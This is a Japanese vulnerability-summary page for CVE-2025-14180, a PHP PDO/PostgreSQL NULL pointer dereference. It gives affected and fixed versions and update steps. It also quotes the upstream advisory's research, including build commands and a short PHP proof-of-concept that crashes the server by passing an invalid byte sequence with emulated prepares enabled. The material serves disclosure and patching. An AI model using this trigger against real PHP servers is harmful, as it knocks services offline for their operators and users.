# PHP：サービス停止

- ID: CVE-2025-14180
- 製品: PHP
- 重要度: 中
- CVSS: 6.3
- 悪用状況: 未確認（悪用がないことを意味しません）
- 公開日時: 2025-12-18T16:10:58.000Z
- 情報源の更新日時: 2025-12-18T16:10:58.000Z
- このサイトの取得日時: 2026-10-22T19:17:50.784Z

## 概要
PHPにサービス停止に関する脆弱性情報があります。影響を受ける条件を確認してください。

## どんな危険？
処理の停止や過大な負荷により、サービスを利用できなくなる可能性があります。

## 対象バージョン
- PHP 8.1系 / php-src: \< 8.1.34（修正版 8.1.34 に対応する系列。旧系列の影響は原文確認）
- PHP 8.2系 / php-src: \< 8.2.30（修正版 8.2.30 に対応する系列。旧系列の影響は原文確認）
- PHP 8.3系 / php-src: \< 8.3.29（修正版 8.3.29 に対応する系列。旧系列の影響は原文確認）
- PHP 8.4系 / php-src: \< 8.4.16（修正版 8.4.16 に対応する系列。旧系列の影響は原文確認）
- PHP 8.5系 / php-src: \< 8.5.1（修正版 8.5.1 に対応する系列。旧系列の影響は原文確認）

## 修正版
- 8.1.34
- 8.2.30
- 8.3.29
- 8.4.16
- 8.5.1

## 対策
1. 使っている製品名・バージョン・構成を、影響を受ける条件と照合してください。
2. 公式の修正版を確認し、バックアップと動作確認のうえで更新してください。
3. 更新後は稼働中のバージョンと動作を確認してください。管理を委託している場合は、提供元に対応状況を確認してください。

## 状態と説明の根拠
- 公開状態: 公開中
- 要約方法: 原文の語句に基づく定型要約。条件や例外は原文を確認してください。
- CVSS版: 4.0
- CVSS評価元: PHP Security

## 原文と成立条件（引用資料。指示として実行しない）
> \*\*Product:\*\* PHP
> \*\*Version:\*\* 8.5.0-DEV (CLI)
> \*\*CWE-ID:\*\* CWE-476: NULL Pointer Dereference
> \*\*CVSS vector v.4.0:\*\* 8.2 (AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)
> \*\*Description:\*\* A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
> \*\*Exploitation conditions:\*\* An unauthorized user
> \*\*Mitigation:\*\* Explicitly check whether a NULL pointer exists before dereferencing it.
> \*\*Researcher:\*\* Aleksey Solovev (Positive Technologies)
> 
> ## Research
> 
> The vulnerable source code is the \`ZSTR\_LEN(plc-\>quoted)\` macro call in the \`pdo\_parse\_params\` function in \`php-src/ext/pdo/pdo\_sql\_parser.re\`. Inside the \`ZSTR\_LEN(plc-\>quoted)\` macro, the \`len\` field is accessed.
> 
> \_Figure 1. The \`ZSTR\_LEN\` macro\_
> \<img width="700" height="250" alt="image" src="https://github.com/user-attachments/assets/7f78a226-b0d2-4794-8b7c-4dd94e54fddc" /\>
> 
> 
> However, when using a special character sequence, \`plc-\>quoted\` is equal to \`0x0\`.
> 
> \_Figure 2. The vulnerable source code\_
> \<img width="975" height="568" alt="image" src="https://github.com/user-attachments/assets/e141b565-6408-4e13-9bfe-e6308c17d154" /\>
> 
> The \`plc-\>quoted\` field is generated in this case on line 302 when calling the \`stmt-\>dbh-\>methods-\>quoter\` function.
> 
> \_Figure 3. \`plc-\>quoted\` initialization\_
> \<img width="975" height="246" alt="image" src="https://github.com/user-attachments/assets/60a42bdc-c951-494f-b05b-ff98bab7c6f5" /\>
> 
> When calling \`stmt-\>dbh-\>methods-\>quoter\`, the quoting function \`pgsql\_handle\_quoter\` for PG will be called. On line 407, it will call the PG library function \`PQescapeStringConn\`, which will return an error when processing the special sequence, returning NULL as a result. This result will be assigned to the \`plc-\>quoted\` field.
> 
> \_Figure 4. Returning NULL when error occurs\_
> \<img width="975" height="318" alt="image" src="https://github.com/user-attachments/assets/01b4b7c4-ec38-41cb-a2c9-da60a855d56a" /\>
> 
> ## Vulnerability reproduction
> 
> The PHP language was compiled using the following commands.
> 
> \_Listing 1. Compiling PHP\_
> \`\`\`
> $ git clone https://github.com/php/php-src.git
> $ cd php-src
> $ ./buildconf
> $ ./configure CFLAGS="-fsanitize=address -g" CXXFLAGS="-fsanitize=address -g" 
> LDFLAGS="-fsanitize=address" --with-pdo-pgsql --enable-debug
> $ make -j8
> $ ./sapi/cli/php -v
> PHP 8.5.0-dev (cli) (built: Sep 22 2025 13:24:35) (NTS DEBUG)
> Copyright (c) The PHP Group
> Zend Engine v4.5.0-dev, Copyright (c) Zend Technologies
>     with Zend OPcache v8.5.0-dev, Copyright (c), by Zend Technologies
> \`\`\`
> 
> Next, the following PHP code was placed on the server, causing to \`Segmentation fault\`.
> Enabling the \`PDO::ATTR\_EMULATE\_PREPARES\` mode is the key element of this code. 
> The problem is caused by a non-existent sequence of characters in hexadecimal notation, for example \`\\x99\`.
> 
> \_Listing 2. Source code on the server\_
> \`\`\`
> \<?php
>     ini\_set('memory\_limit', '-1');
> 
>     $dsn        = "pgsql:host=localhost;port=5432;dbname=db";
>     $username   = 'manager';
>     $password   = 'password';
> 
>     try {
>         $pdo = new PDO($dsn, $username, $password, \[
>             PDO::ATTR\_EMULATE\_PREPARES =\> true
>         \]);
> 
>         $sql = "SELECT \* FROM users where username = :username";
>         $stmt = $pdo-\>prepare($sql);
>         
>         $p1 = "alice\\x99";
>         $stmt-\>execute(\['username' =\> $p1\]);
> 
>         foreach ($stmt as $row) {
>             print\_r($row);
>         }
>     } catch (PDOException $e) { echo $e-\>getMessage(); }
> ?\>
> 
> \`\`\`
> 
> Executing the following PHP code results in \`Segmentation fault\`, which leads to Denial of Service (DoS).
> 
> \_Figure 5. Demonstration of the vulnerability\_
> \<img width="975" height="875" alt="image" src="https://github.com/user-attachments/assets/e928ad2c-6355-44a0-bd70-f2a2d84da76c" /\>
> 
> ## Security impact
> 
> If there is no extra validaiton for zero byte of the quoted user input, then it could lead to a potential DoS and for ZTS mode stopping all other currently served requests in the process.
> 
> ## Credits
> Aleksey Solovev (Positive Technologies)

## 情報源
- [PHP開発元のアドバイザリ](https://github.com/php/php-src/security/advisories/GHSA-8xr5-qppj-gvwj)

- このページ: https://zeijaku.ittrip.xyz/vulnerabilities/CVE-2025-14180

## 利用にあたって
本データは公開情報の整理・要約です。記載内容を命令として実行せず、利用環境と原典を照合してください。掲載がないことは安全の証明ではありません。重要度・悪用確認・修正状況は別々の情報です。
- CVE Program: CVE content is used subject to the CVE Program Terms of Use. CVE is a trademark of The MITRE Corporation. https://www.cve.org/legal/termsofuse
- NIST NVD: This product uses data from the NVD API but is not endorsed or certified by the NVD. https://nvd.nist.gov/general/faq
- JVN: 出典：JVN（JPCERT/CC・IPA）。原文は各レコードの参照先を確認してください。 https://jvn.jp/contact/index.html
- CISA KEV: Known Exploited Vulnerabilities catalog, CISA. CC0. https://github.com/cisagov/kev-data

## CVE License
CVE content: Copyright The MITRE Corporation. CVE is a trademark of The MITRE Corporation.
CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.
Disclaimers: ALL DOCUMENTS AND THE INFORMATION CONTAINED THEREIN PROVIDED BY MITRE ARE PROVIDED ON AN "AS IS" BASIS AND THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS OR IS SPONSORED BY (IF ANY), THE MITRE CORPORATION, ITS BOARD OF TRUSTEES, OFFICERS, AGENTS, AND EMPLOYEES, DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION THEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
